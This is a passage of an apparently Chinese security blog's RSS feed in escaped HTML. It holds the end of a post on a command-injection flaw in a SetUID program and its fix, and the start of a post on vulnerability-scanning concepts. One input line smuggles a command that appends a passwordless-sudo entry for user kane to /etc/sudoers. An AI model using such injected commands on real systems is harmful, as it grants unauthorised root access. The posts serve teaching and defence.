&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;$ ./msg2root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Message &lt;span class="k"&gt;for&lt;/span&gt; root:&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;kane ALL=(ALL) NOPASSWD: ALL&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; /etc/sudoers&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 实际效果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;为kane添加无密码sudo权限
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="-安全漏洞修复建议"&gt;🚫 安全漏洞修复建议
&lt;/h4&gt;&lt;h4 id="修复后代码"&gt;修复后代码
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Message for root:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 安全的输入读取
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;fgets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 移除换行符防止注入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 严格验证输入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;|&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Illegal character: %c&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 使用文件IO代替系统命令
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;FILE&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/root/messages.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;fclose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="关键修复措施"&gt;关键修复措施
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;移除命令注入风险&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;禁用&lt;code&gt;system()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用文件IO直接写入&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输入过滤&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 禁止危险字符
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;strchr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nf"&gt;strchr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;|&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;权限最小化&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 执行前放弃root权限
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getuid&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;日志审计&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;记录所有操作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="-文件权限关键点"&gt;📁 文件权限关键点
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;程序必须具有SetUID权限且属于root&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls -l msg2root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;-rwsr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; root root &lt;span class="m"&gt;16784&lt;/span&gt; Jul &lt;span class="m"&gt;24&lt;/span&gt; 10:23 msg2root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/root/messages.txt&lt;/code&gt;需要：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chown root:root /root/messages.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;644&lt;/span&gt; /root/messages.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day22 Kali漏洞扫描</title><link>https://ruajingjing.top/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/</link><pubDate>Fri, 25 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day22 Kali漏洞扫描" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;对应OSCP官方教材第八章。&lt;/p&gt;
&lt;h2 id="漏洞扫描安全评估的自动化基石"&gt;&lt;strong&gt;漏洞扫描：安全评估的自动化基石&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;漏洞扫描（简称“漏扫”），作为网络安全领域不可或缺的核心技术手段，贯穿于安全评估的始终。其本质是通过集成海量漏洞验证脚本（POC）与利用脚本（EXP），向目标系统发送特定探测请求，并根据返回响应特征自动化识别潜在安全弱点的过程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心价值与定位：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;效率引擎：&lt;/strong&gt; 面对海量资产（如数十甚至上百个站点、服务器），手工检测效率低下且难以覆盖。漏扫工具凭借其自动化、批量化的特性，成为快速发现大面积、已知漏洞的首选武器，是安全审计流程中至关重要的第一步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险探照灯：&lt;/strong&gt; 在复杂的网络环境中，“你永远不知道漏洞扫描会发生什么”。它是主动暴露未知风险、预防潜在攻击的有效途径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术与场景融合：&lt;/strong&gt; 技术本身无高下之分，“黑猫白猫，抓到老鼠就是好猫”。自动化漏扫与精细化手工测试并非对立，而是互补。&lt;strong&gt;最佳实践是：先利用漏扫进行广覆盖、批量化的初步筛查，再对高风险目标或复杂逻辑进行深度手工验证，形成“广撒网+深挖潜”的高效组合拳。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;工作原理与流程：&lt;/strong&gt;
一个典型的漏洞扫描流程包含以下关键步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主机发现：&lt;/strong&gt; 识别网络中存活的目标设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口扫描：&lt;/strong&gt; 探测目标设备开放的网络端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指纹识别：&lt;/strong&gt; 基于服务响应（如Banner、协议行为、文件特征）判断操作系统、应用、服务及其版本（需注意版本伪装现象，如某些Tomcat版本统一返回相同头部）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务与行为分析：&lt;/strong&gt; 深入探测服务细节、暴露的文件、目录等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞特征匹配/利用验证：&lt;/strong&gt; 运用庞大的POC/EXP库进行探测。部分高级扫描会进行试探性攻击以降低误报（但需谨慎评估风险）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="漏洞扫描核心总结"&gt;&lt;strong&gt;漏洞扫描核心总结&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-手动扫描与自动扫描的辩证关系"&gt;&lt;strong&gt;1. 手动扫描与自动扫描的辩证关系&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;手动扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;自动扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;优势&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;精准发现逻辑漏洞；绕过防护机制；隐蔽性高（适合红队）；对目标干扰小&lt;/td&gt;
 &lt;td style="text-align: center"&gt;快速覆盖大规模目标；建立安全基准；标准化漏洞验证（如CVE匹配）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;劣势&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;效率极低（难以处理大型目标）；高度依赖经验；易遗漏重复性漏洞&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高误报/漏报率；难以发现复杂业务逻辑漏洞；攻击特征明显易触发告警&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;关键系统深度测试、红队隐蔽渗透、漏洞二次验证&lt;/td&gt;
 &lt;td style="text-align: center"&gt;初筛阶段、合规性检查、周期性安全巡检&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;: 二者非对立关系，应遵循 &lt;strong&gt;“先自动化广覆盖，后手工精准打击”&lt;/strong&gt; 的策略。渗透测试的核心价值在于 &lt;strong&gt;超越工具的人工分析能力&lt;/strong&gt;。&lt;/p&gt;
&lt;h4 id="2-互联网扫描-vs-内网扫描的关键差异"&gt;&lt;strong&gt;2. 互联网扫描 vs. 内网扫描的关键差异&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;影响因素&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;互联网扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;内网扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;网络条件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;带宽受限、高延迟、跳数多；防火墙/IPS严格过滤&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高带宽、低延迟；内网设备可能老旧易崩溃&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;可见性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仅暴露面服务（ICMP/ARP常被阻断）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;全端口可见（可ARP发现主机）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低速扫描（防触发警报）；优先非破坏性POC&lt;/td&gt;
 &lt;td style="text-align: center"&gt;可高速扫描；支持侵入式检测（需评估设备耐受性）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;操作要点&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;速度控制&lt;/strong&gt;：初始使用低速率扫描，验证结果质量后逐步提速。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发现机制&lt;/strong&gt;：互联网目标需使用TCP SYN等替代ICMP/ARP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险评估&lt;/strong&gt;：内网扫描警惕对老旧设备的DoS风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-认证扫描-vs-非认证扫描的深度对比"&gt;&lt;strong&gt;3. 认证扫描 vs. 非认证扫描的深度对比&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;层面&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;认证扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;非认证扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;原理&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;凭据登录系统（SSH/WMI），访问内部资源&lt;/td&gt;
 &lt;td style="text-align: center"&gt;纯网络发包探测，无系统权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;检测深度&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;补丁状态、注册表、配置文件、敏感文件（如Program Files）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仅开放服务漏洞、Banner版本、弱口令等表层风险&lt;/td&gt;
